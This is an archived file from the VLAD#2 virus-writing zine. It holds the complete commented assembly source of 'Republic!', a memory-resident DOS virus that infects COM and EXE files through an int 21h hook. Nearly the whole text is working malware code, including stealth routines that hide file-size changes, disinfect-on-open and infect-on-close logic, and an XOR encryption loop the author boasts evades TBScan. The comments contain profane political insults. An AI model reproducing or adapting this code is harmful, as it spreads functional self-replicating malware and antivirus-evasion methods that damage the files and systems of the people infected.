home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.4_3 < prev    next >
Encoding:
Text File  |  1994-10-30  |  22.7 KB  |  831 lines

  1.  
  2. ;               REPUBLIC!
  3. ;               +-------+             Qark/VLAD
  4. ;
  5. ;
  6. ; This virus is named because I (and metabolis) support a republic for 
  7. ; Australia.  Fuck the Union Jack off from our flag... we want something
  8. ; Australian in there... and an Australian head of state not some pommy
  9. ; bitch Queen and her corgis.
  10. ;
  11. ; A funny thing:  I wrote a full-on MTE/TPE/DAME type polymorphic engine
  12. ; for this virus, but TBScan found it every time!  But when i do the
  13. ; shitty XOR routine that's at the end, TBScan hardly finds anything!
  14. ; TBAV can be proud of it's capabilites with polymorphism, but for
  15. ; basic encryption it's a big thumbs down...
  16. ;
  17. ;       Stats:
  18. ;               -       Disinfect on open, Infect on close.
  19. ;               -       No directory filesize change
  20. ;               -       No findfirst filesize change
  21. ;               -       Some anti-debugging features
  22. ;
  23. ; Anyway, this is my best virus so far.  I've come a fair way since broken,
  24. ; fucked up brother in VLAD#1 I'm sure you'll agree.  I wrote this virus
  25. ; a few months ago and am better than this already.
  26. ;
  27. ; As always, the A86 assembler is my favourite :)
  28.  
  29.  
  30.                 org     0
  31.  
  32.  
  33.         db      0beh            ;MOV SI,xxxx
  34. delta   dw      offset enc_start + 100h
  35.         cld
  36.         call    encrypt
  37. enc_start:
  38.         push    cs
  39.         pop     ds                              ;DS=CS
  40.         sub     si,offset enc_end               ;The polymorphism is done.
  41.         
  42.         
  43.         
  44.         mov     word ptr [si+offset quit],20cdh
  45. quit:
  46.         mov     word ptr [si+offset quit],44c7h ;The bytes changed.
  47.  
  48.  
  49.         push    es
  50.         push    si
  51.         
  52.         ;If I don't get a feed soon, I'll start to fade...
  53.  
  54.         mov     ax,0FEEDh               ;Feed ?
  55.         int     21h
  56.  
  57.         cmp     ax,0FADEh               ;Yes...
  58.         je      resident                ;Fade...
  59.  
  60.         mov     ax,es
  61.         dec     ax
  62.         mov     ds,ax
  63.  
  64.         cmp     byte ptr [0],'Z'
  65.         jne     resident
  66.  
  67.         sub     word ptr [3],160        ;2560 bytes of memory.
  68.         sub     word ptr [12h],160      ;2560 bytes off TOM.
  69.         
  70.         mov     bx,word ptr [12h]       ;Read in the TOM.
  71.  
  72.         push    cs
  73.         pop     ds                      ;DS=CS
  74.  
  75.         xor     ax,ax                   ;ES=0  (Vector Table)
  76.         mov     es,ax
  77.  
  78.         mov     ax,word ptr es:[132]    ;Get int21h.
  79.         mov     word ptr [si+offset i21],ax
  80.  
  81.         mov     ax,word ptr es:[134]    ;Get int21h segment.
  82.         mov     word ptr [si+offset i21+2],ax
  83.  
  84.         mov     es,bx                   ;ES=Segment to store virus.
  85.  
  86.         xor     di,di                   ;Zero in memory.
  87.         mov     cx,offset length        ;The size of the virus.
  88.         rep     movsb                   ;Move the virus.
  89.  
  90.         xor     ax,ax
  91.         mov     ds,ax                   ;ES=0 (Vector Table)
  92.  
  93.         mov     word ptr [132],offset infection
  94.         mov     [134],bx                ;BX=Virus Seg I hope!
  95.         
  96. resident:
  97.  
  98.         pop     si                      ;SI=IP (Virus start)
  99.         pop     es                      ;ES=PSP
  100.  
  101.         push    cs
  102.         pop     ds
  103.  
  104.         cmp     byte ptr [si+offset com_exe],1
  105.         je      exe_exit
  106.  
  107.         mov     ax,word ptr [si+offset old3]
  108.         mov     [100h],ax
  109.         mov     al,byte ptr [si+offset old3+2]
  110.         mov     [102h],al
  111.  
  112.         push    es
  113.         pop     ds
  114.  
  115.         call    zero_all
  116.         mov     ax,100h
  117.         jmp     ax
  118.         
  119. Exe_Exit:
  120.  
  121.         mov     ax,es                   ;ES=PSP
  122.         add     ax,10h                  ;EXE file start.
  123.         add     word ptr [si+jump+2],ax
  124.         
  125.         call    zero_all
  126.         
  127.         mov     sp,word ptr [si+offset orig_sp]
  128.         add     ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
  129.         mov     ss,ax
  130.         
  131.         push    es
  132.         pop     ds
  133.         
  134.         
  135.         db      0eah
  136.         jump    dd      0
  137.         
  138.         Message         db      'Go the Republic! '
  139.                         db      'Fuck off Royal Family!',0
  140.         Creator         db      'Qark/VLAD of the Republic of Australia',0
  141.  
  142. Infection:
  143.  
  144.         push    ax
  145.         xchg    al,ah
  146.         
  147.         cmp     ax,004bh                ;Exec.  Don't infect on 4B01h because
  148.         je      test_inf                ;debug will find it then.
  149.  
  150.         cmp     al,43h                  ;Chmod.
  151.         je      test_inf
  152.         
  153.         cmp     al,56h                  ;Rename.
  154.         je      test_inf
  155.         
  156.         cmp     al,6ch                  ;Open.
  157.         je      dis_inf
  158.         
  159.         cmp     al,3dh                  ;Open
  160.         je      dis_inf
  161.  
  162.         cmp     al,11h                  ;FCB find.
  163.         je      dir_listing
  164.         
  165.         cmp     al,12h                  ;Dir listing in progress.
  166.         je      dir_listing
  167.  
  168.         cmp     al,4eh                  ;Find first.
  169.         je      find_file
  170.         
  171.         cmp     al,4fh                  ;Find_next.
  172.         je      find_file
  173.         
  174.         cmp     al,3eh                  ;Close.
  175.         je      end_infect
  176.  
  177.         pop     ax
  178.  
  179.         cmp     ax,0FEEDh
  180.         je      res_check               ;Testing for installation ?
  181.  
  182. jump_exit:
  183.  
  184.         jmp     jend                    ;Exit TSR
  185.  
  186. res_check:
  187.         mov     ax,0FADEh               ;Return parameter.
  188.         iret
  189.  
  190. dir_listing:
  191.         jmp     dir_stealth
  192. find_file:
  193.         jmp     search_stealth
  194. dis_inf:
  195.         jmp     full_stealth            ;Disinfect on the fly.
  196. end_infect:
  197.         jmp     close_infect
  198.  
  199. jump2_exit:
  200.         jmp     far_pop_exit            ;Just an exit.
  201.  
  202. test_inf:
  203.  
  204.         push    bx
  205.         push    cx
  206.         push    dx
  207.         push    si
  208.         push    di
  209.         push    ds
  210.         push    es
  211.         
  212.         call    check_name
  213.  
  214.         jc      jump2_exit
  215.  
  216.         mov     ax,3d00h        ;Open readonly.
  217.         mov     dx,di           ;DX=DI=Offset length
  218.         call    int21h
  219.  
  220.         jc      jump2_exit
  221.  
  222.         mov     bx,ax
  223.  
  224.         call    get_sft
  225.  
  226.                                         ;Test for infection.
  227.         mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
  228.         mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
  229.         and     ax,1f1fh                ;Get rid of the shit we don't need.
  230.         cmp     al,ah                   ;Compare the seconds with minutes.
  231.         je      jump2_exit
  232.  
  233. Handle_Infection:
  234.  
  235.         push    cs
  236.         pop     es                      ;ES=CS
  237.  
  238.                                         ;Read the File header in to test
  239.                                         ;for EXE or COM.
  240.         mov     ah,3fh                  ;Read from file.
  241.         mov     cx,1ch                  ;1C bytes.
  242.         call    int21h                  ;DX=Offset length from file open.
  243.                                         ;We don't need the filename anymore
  244.                                         ;so use that space as a buffer.
  245.  
  246.         mov     si,dx                   ;SI=DX=offset length.
  247.         mov     di,offset header
  248.         mov     cx,18h
  249.         rep     movsb                   ;Move header to header.
  250.  
  251.         
  252.         mov     si,dx                   ;SI=DX=Offset of length.
  253.  
  254.         mov     ax,word ptr [si]        ;=Start of COM or EXE.
  255.         add     al,ah                   ;Add possible MZ.
  256.         cmp     al,167                  ;Test for MZ.
  257.         je      exe_infect
  258.         jmp     com_infect
  259.  
  260. EXE_infect:
  261.  
  262.         mov     byte ptr com_exe,1      ;Signal EXE file.
  263.  
  264.         cmp     word ptr [si+1ah],0     ;Test for overlays.
  265.         jne     exe_close_exit          ;Quick... run!!!
  266.  
  267.         push    si                      ;SI=Offset of header
  268.  
  269.         add     si,0eh                  ;SS:SP are here.
  270.         mov     di,offset orig_ss
  271.         movsw                           ;Move them!
  272.         movsw
  273.  
  274.         mov     di,offset jump          ;The CS:IP go in here.
  275.  
  276.         lodsw                           ;ADD SI,2 - AX destroyed.
  277.  
  278.         movsw
  279.         movsw                           ;Move them!
  280.  
  281.         pop     si
  282.  
  283.         call    get_sft                 ;ES:DI = SFT for file.
  284.  
  285.         mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  286.         mov     dx,word ptr es:[di+13h]
  287.         mov     cx,16                   ;Divide by paragraphs.
  288.         div     cx
  289.  
  290.         sub     ax,word ptr [si+8]      ;Subtract headersize.
  291.  
  292.         mov     word ptr delta,dx       ;Initial IP.
  293.         
  294.         add     delta,offset enc_start  ;Fix for polymorphics.
  295.  
  296.         mov     word ptr [si+14h],dx    ;IP in header.
  297.         mov     word ptr [si+16h],ax    ;CS in header.
  298.  
  299.         add     dx,offset stack_end     ;Fix SS:SP for file.
  300.  
  301.         mov     word ptr [si+0eh],ax    ;We'll make SS=CS
  302.         mov     word ptr [si+10h],dx    ;SP=IP+Offset of our buffer.
  303.  
  304.         mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  305.         mov     dx,word ptr es:[di+13h]
  306.  
  307.         add     ax,offset length        ;Add the virus length on.
  308.         adc     dx,0                    ;32bit
  309.  
  310.         mov     cx,512                  ;Divide by pages.
  311.         div     cx
  312.  
  313.         and     dx,dx
  314.         jz      no_page_fix
  315.  
  316.         inc     ax                              ;One more for the partial
  317.                                                 ;page!
  318. no_page_fix:
  319.  
  320.         mov     word ptr [si+4],ax              ;Number of pages.
  321.         mov     word ptr [si+2],dx              ;Partial page.
  322.  
  323.         mov     word ptr es:[di+15h],0          ;Lseek to start of file.
  324.  
  325.         call    get_date                        ;Save the old time/date.
  326.  
  327.         mov     ah,40h                          ;Write header to file.
  328.         mov     dx,si                           ;Our header buffer.
  329.         mov     cx,1ch                          ;1CH bytes.
  330.         call    int21h
  331.  
  332.         jc      exe_close_exit
  333.  
  334.         mov     ax,4202h                        ;End of file.  Smaller than
  335.                                                 ;using SFT's.
  336.         xor     cx,cx                           ;Zero CX
  337.         cwd                                     ;Zero DX (If AX < 8000H then
  338.                                                 ;CWD moves zero into DX)
  339.         call    int21h
  340.  
  341.         call    enc_setup                       ;Thisll encrypt it and move
  342.                                                 ;it to the end of file.
  343. exe_close_exit:
  344.  
  345.         jmp     com_close_exit
  346.  
  347. com_infect:
  348.  
  349.         mov     byte ptr com_exe,0      ;Flag COM infection.
  350.  
  351.         mov     ax,word ptr [si]        ;Save COM files first 3 bytes.
  352.         mov     word ptr old3,ax
  353.         mov     al,[si+2]
  354.         mov     byte ptr old3+2,al
  355.  
  356.         call    get_sft                 ;SFT is at ES:DI
  357.  
  358.         mov     ax,es:[di+11h]          ;AX=File Size
  359.  
  360.         cmp     ax,64000
  361.         ja      com_close_exit          ;Too big.
  362.  
  363.         cmp     ax,1000
  364.         jb      com_close_exit          ;Too small.
  365.  
  366.         push    ax                      ;Save filesize.
  367.  
  368.         mov     newoff,ax               ;For the new jump.
  369.         sub     newoff,3                ;Fix the jump.
  370.  
  371.         mov     word ptr es:[di+15h],0  ;Lseek to start of file :)
  372.  
  373.         call    get_date                ;Save original file date.
  374.  
  375.         mov     ah,40h
  376.         mov     cx,3
  377.         mov     dx,offset new3          ;Write the virus jump to start of
  378.         call    int21h                  ;file.
  379.  
  380.         pop     ax                      ;Restore file size.
  381.  
  382.         jc      com_close_exit          ;If an error occurred... exit.
  383.  
  384.         mov     word ptr es:[di+15h],ax ;Lseek to end of file.
  385.  
  386.         add     ax,offset enc_start + 100h    ;File size + 100h.
  387.         mov     word ptr delta,ax       ;The delta offset for COM files.
  388.  
  389.         call    enc_setup
  390.  
  391. com_close_exit:
  392.  
  393.         mov     ah,3eh
  394.         call    int21h
  395.  
  396. far_pop_exit:
  397.  
  398.         pop     es
  399.         pop     ds
  400.         pop     di
  401.         pop     si
  402.         pop     dx
  403.         pop     cx
  404.         pop     bx
  405.         pop     ax
  406.  
  407. jend:
  408.         db      0eah                    ;Opcode for jmpf
  409.         i21     dd      0
  410.  
  411. int21h  proc    near                    ;Our int 21h
  412.  
  413.         pushf
  414.         call    dword ptr cs:[i21]
  415.         ret
  416. int21h  endp
  417.  
  418. close_infect:
  419.         cmp     bl,4
  420.         ja      good_handle    
  421.         pop     ax
  422.         jmp     jend
  423.  
  424. Good_Handle:
  425.  
  426.         push    bx                      ;Save the original registers.
  427.         push    cx
  428.         push    dx
  429.         push    si
  430.         push    di
  431.         push    ds
  432.         push    es
  433.  
  434.         call    get_sft                 ;ES:DI = SFT
  435.         mov     ax,word ptr es:[di+0dh] ;AX=Time
  436.         and     ax,1f1fh                ;Shit we don't need.
  437.         cmp     al,ah                   ;AL=AH means infected.
  438.         je      far_pop_exit
  439.  
  440.         mov     dx,offset length
  441.         push    cs
  442.         pop     ds
  443.  
  444.         mov     word ptr es:[di+2],2             ;Read/Write mode.
  445.         mov     word ptr es:[di+15h],0           ;Zero file pointer.
  446.         mov     word ptr es:[di+17h],0           ;Zero file pointer.
  447.         add     di,28h                  ;ES:DI=Extension
  448.         cmp     word ptr es:[di],'OC'
  449.         je      close_com
  450.         cmp     word ptr es:[di],'XE'
  451.         jne     far_pop_exit
  452. Close_Exe:
  453.         inc     di
  454.         inc     di
  455.         cmp     byte ptr es:[di],'E'
  456.         jne     far_pop_exit
  457.         jmp     handle_infection
  458.  
  459. Close_Com:
  460.  
  461.         cmp     byte ptr es:[di+2],'M'
  462.         jne     far_pop_exit
  463.         jmp     handle_infection
  464.  
  465. ;-------
  466.  
  467. Full_Stealth:
  468.         push    bx
  469.         push    cx
  470.         push    dx
  471.         push    si
  472.         push    di
  473.         push    ds
  474.         push    es
  475.  
  476.         cmp     al,6ch
  477.         jne     stealth_6c
  478.         
  479.         mov     dx,si
  480.  
  481. stealth_6c:
  482.         call    check_name
  483.         jnc     do_stealth
  484. Stealth_end:
  485.         jmp     far_pop_exit
  486.  
  487. Do_Stealth:
  488.  
  489.         mov     ax,3d00h
  490.         mov     dx,di
  491.         call    int21h
  492.         jc      stealth_end
  493.  
  494.         mov     bx,ax                   ;BX=filehandle
  495.         call    get_sft
  496.                                         ;ES:DI=SFT
  497.         
  498.         mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
  499.         mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
  500.         and     ax,1f1fh                ;Get rid of the shit we don't need.
  501.         cmp     al,ah                   ;Compare the seconds with minutes.
  502.         jne     stealth_end             ;Not infected...
  503.  
  504.  
  505.         mov     ax,word ptr es:[di+11h] ;File size.
  506.         mov     dx,word ptr es:[di+13h]
  507.  
  508.         push    dx
  509.         push    ax
  510.  
  511.         sub     ax,1ch                  ;Header+time+date = 1ch
  512.         sbb     dx,0
  513.         mov     word ptr es:[di+15h],ax ;File pointer.
  514.         mov     word ptr es:[di+17h],dx
  515.  
  516.         mov     ah,3fh
  517.         mov     dx,offset header        ;Read in header.
  518.         mov     cx,1ch
  519.         call    int21h
  520.  
  521.         pop     ax
  522.         pop     dx                      ;DX:AX=length of file
  523.  
  524.         sub     ax,offset length        ;EOF - length.
  525.         sbb     dx,0
  526.         mov     word ptr es:[di+15h],ax
  527.         mov     word ptr es:[di+17h],dx
  528.  
  529.         mov     ah,40h                  ;Truncate virus off.
  530.         xor     cx,cx
  531.         call    int21h
  532.         jc      stealth_end
  533.  
  534.         mov     word ptr es:[di+15h],0  ;Start of file
  535.         mov     word ptr es:[di+17h],0
  536.  
  537.         mov     ah,40h
  538.         mov     dx,offset header
  539.         mov     cx,18h
  540.         call    int21h                  ;Write original header back.
  541.  
  542.         mov     cx,word ptr time
  543.         mov     dx,word ptr date
  544.         mov     ax,5701h                ;Put original time/date back.
  545.         call    int21h
  546.  
  547.         mov     ah,3eh                  ;Close file.
  548.         call    int21h
  549.  
  550.         jmp     stealth_end
  551.  
  552. Check_Name      proc    near
  553. ;Entry:
  554. ;DS:DX=Filename
  555. ;
  556. ;Exit:
  557. ;Carry if bad name.
  558. ;DS=ES=CS
  559. ;AX is fucked.
  560. ;SI = File Extension Somewhere.
  561. ;DI = Offset length.
  562.  
  563.  
  564.         mov     si,dx                   ;DS:SI = Filename.
  565.  
  566.         push    cs
  567.         pop     es                      ;ES=CS
  568.  
  569.         mov     ah,60h                  ;Get qualified filename.
  570.         mov     di,offset length        ;DI=Buffer for filename.
  571.         call    int21h                  ;This converts it to uppercase too!
  572.  
  573.                                         ;CS:LENGTH = Filename in uppercase
  574.                                         ;with path and drive.  Much easier
  575.                                         ;to handle now!
  576.         push    cs
  577.         pop     ds                      ;DS=CS
  578.  
  579.         mov     si,di                   ;SI=DI=Offset Length
  580.  
  581.         cld                             ;Forward!
  582.  
  583. find_ascii_z:
  584.  
  585.         lodsb
  586.         cmp     al,0
  587.         jne     find_ascii_z
  588.  
  589.         sub     si,4                    ;Points to the file extension. 'EXE'
  590.  
  591.         lodsw                           ;Mov AX,DS:[SI]
  592.  
  593.         cmp     ax,'XE'                 ;The 'EX' out of 'EXE'
  594.         jne     test_com
  595.  
  596.         lodsb                           ;Mov AL,DS:[SI]
  597.  
  598.         cmp     al,'E'                  ;The last 'E' in 'EXE'
  599.         jne     Bad_Name
  600.  
  601.         jmp     do_file                 ;EXE-file
  602.  
  603. test_com:
  604.  
  605.         cmp     ax,'OC'                 ;The 'CO' out of 'COM'
  606.         jne     Bad_Name
  607.  
  608.         lodsb                           ;Mov AL,DS:[SI]
  609.  
  610.         cmp     al,'M'
  611.         je      do_file                 ;COM-file
  612.  
  613. Bad_Name:
  614.         stc
  615.         ret
  616.  
  617. do_file:
  618.         clc
  619.         ret
  620. Check_Name      endp
  621.  
  622.  
  623. Search_Stealth:
  624.  
  625.         pop     ax              ;Restore AX.
  626.  
  627.         call    int21h
  628.         jc      end_search
  629.  
  630.         push    es
  631.         push    bx
  632.         push    si
  633.  
  634.         mov     ah,2fh
  635.         call    int21h
  636.  
  637.         mov     si,bx
  638.  
  639.         mov     bx,word ptr es:[si+16h]
  640.         and     bx,1f1fh
  641.         cmp     bl,bh
  642.         jne     search_pop                         ;Is our marker set ?
  643.  
  644.         sub     word ptr es:[si+1ah],offset length ;Subtract the file length.
  645.         sbb     word ptr es:[si+1ch],0
  646.  
  647. search_pop:
  648.  
  649.         pop     si
  650.         pop     bx
  651.         pop     es
  652.         clc
  653.  
  654. end_search:
  655.         retf     2                      ;This is the same as an IRET
  656.                                         ;except that the flags aren't popped
  657.                                         ;off so our Carry Remains set.
  658.  
  659. Dir_Stealth:
  660.  
  661.         ;This bit means that wen you do a 'dir' there is no change in
  662.         ;file size.
  663.  
  664.         pop     ax
  665.  
  666.         call    int21h                          ;Call the interrupt
  667.         cmp     al,0                            ;straight off.
  668.         jne     end_of_dir
  669.  
  670.         push    es
  671.         push    ax                              ;Save em.
  672.         push    bx
  673.         push    si
  674.  
  675.         mov     ah,2fh                          ;Get DTA address.
  676.         call    int21h
  677.  
  678.         mov     si,bx
  679.  
  680.         cmp     byte ptr es:[si],0ffh           ;Extended FCB ?
  681.         jne     not_extended
  682.  
  683.         add     si,7                            ;Add the extra's.
  684.  
  685. not_extended:
  686.  
  687.         mov     bx,word ptr es:[si+17h]         ;Move time.
  688.         and     bx,1f1fh
  689.         cmp     bl,bh
  690.         jne     dir_pop                         ;Is our marker set ?
  691.  
  692.         sub     word ptr es:[si+1dh],offset length ;Subtract the file length.
  693.         sbb     word ptr es:[si+1fh],0
  694.  
  695. dir_pop:
  696.  
  697.         pop     si
  698.         pop     bx
  699.         pop     ax
  700.         pop     es
  701.  
  702. end_of_dir:
  703.         
  704.         iret
  705.  
  706. Get_Date        proc    near
  707.         mov     ax,5700h                ;Get Date/Time.
  708.         call    int21h
  709.         mov     word ptr time,cx
  710.         mov     word ptr date,dx
  711.  
  712.         ret
  713.  
  714. Get_date        endp
  715.  
  716. Set_Marker      proc    near
  717.         
  718.         mov     cx,time
  719.         mov     al,ch
  720.         and     al,1fh
  721.         and     cl,0e0h
  722.         or      cl,al
  723.         mov     dx,date
  724.         mov     ax,5701h
  725.         call    int21h
  726.  
  727.         ret
  728.  
  729. Set_marker      endp
  730.  
  731. Enc_Setup       proc    near
  732.  
  733.         push    cs
  734.         pop     es
  735.  
  736.         in      al,40h
  737.         mov     byte ptr cs:cipher,al
  738.  
  739.         xor     si,si
  740.         mov     di,offset length        ;Offset of our buffer.
  741.         mov     cx,offset length        ;Virus Length.
  742.         rep     movsb                   ;Move the virus up in memory for
  743.                                         ;encryption.
  744.         
  745.         mov     si,offset length + offset enc_start
  746.  
  747.         call    encrypt                 ;Encrypt virus.
  748.  
  749.         mov     ah,40h                  ;Write virus to file
  750.         mov     dx,offset length        ;Buffer for encrypted virus.
  751.         mov     cx,offset length        ;Virus length.
  752.         call    int21h
  753.  
  754.         call    set_marker              ;Mark file as infected.
  755.  
  756.         ret
  757.  
  758. Enc_setup       endp
  759.  
  760. Get_SFT Proc    Near
  761. ;Entry:  BX=File Handle.
  762. ;Exit:   ES:DI=SFT.
  763.         push    bx
  764.  
  765.         mov     ax,1220h        ;Get Job File Table Entry.  The byte pointed
  766.         int     2fh             ;at by ES:[DI] contains the number of the
  767.                                 ;SFT for the file handle.
  768.  
  769.         xor     bx,bx
  770.         mov     bl,es:[di]      ;Get address of System File Table Entry.
  771.         mov     ax,1216h
  772.         int     2fh
  773.  
  774.         pop     bx
  775.  
  776.         ret
  777.  
  778. Get_SFT EndP
  779.  
  780. Zero_All        proc    near
  781. ;Zero's everything cept AX.
  782.  
  783.         xor     bx,bx                   ;Zero BX
  784.         mov     cx,bx
  785.         mov     dx,bx
  786.         mov     di,bx
  787.         
  788.         ret
  789. Zero_All        endp
  790.  
  791.         
  792.         New3    db      0e9h                    ;The jump for the start of
  793.         Newoff  dw      0                       ;COM files.
  794.         orig_ss dw      0
  795.         orig_sp dw      0
  796.         com_exe db      0
  797.         old3    db      0cdh,20h,90h
  798.  
  799.  
  800.  
  801. enc_end:                                ;Encryption ends here.
  802.  
  803. ; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111
  804.  
  805. ; Works every time :)
  806.  
  807. encrypt proc    near
  808.  
  809. ;Si = enc_start
  810.         mov     cx,offset enc_end - offset enc_start
  811.         db      0b0h            ;=MOV AL,xx                        
  812.         cipher  db      0
  813. enc_loop:
  814.         ror     al,1
  815.         neg     al
  816.         xor    cs:[si],al       ;<--- Whoah! Never guess this was encryption!
  817.         add     al,al
  818.         inc     si
  819.         loop    enc_loop
  820.         ret
  821.  
  822. Encrypt endp
  823.  
  824.         header  db      18h dup (0)             ;rewrite this
  825.         time    dw      0                       ;restore this
  826.         date    dw      0
  827.  
  828. length  db      200 dup (0)
  829. stack_end:
  830.  
  831.